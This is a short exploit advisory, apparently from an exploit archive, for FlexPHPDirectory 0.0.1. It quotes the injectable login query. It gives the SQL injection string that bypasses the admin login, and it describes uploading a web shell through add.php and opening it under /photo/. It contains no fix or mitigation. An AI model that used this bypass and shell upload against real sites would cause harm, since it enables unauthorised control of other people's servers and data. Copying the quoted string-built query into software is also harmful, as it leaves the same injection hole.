FlexPHPDirectory 0.0.1 (Auth Bypass) SQL Injection Vulnerability

================================================================
FlexPHPDirectory 0.0.1 (Auth Bypass) SQL Injection Vulnerability
================================================================


#############################################
Autore: x0r
Cms: Flexphpdiren
Version: 0.0.1
Download: http://www.china-on-site.com/flexphpdir/
##############################################

Bug In \admin\usercheck.php 'n' \add.php

$sql = "select username,adminid from linkexadmin where
username='$checkuser' and password='$checkpass'";


Exploit:
 
Go to /[path]/admin/index.php
Put as username and password the following sql code: ' or '1=1

Shell Upload:

Exploit: \add.php upload your shell and after /photo/ to see your shell ^ ^

Greetz: I Miss You...



#  0day.today [2018-02-16]  #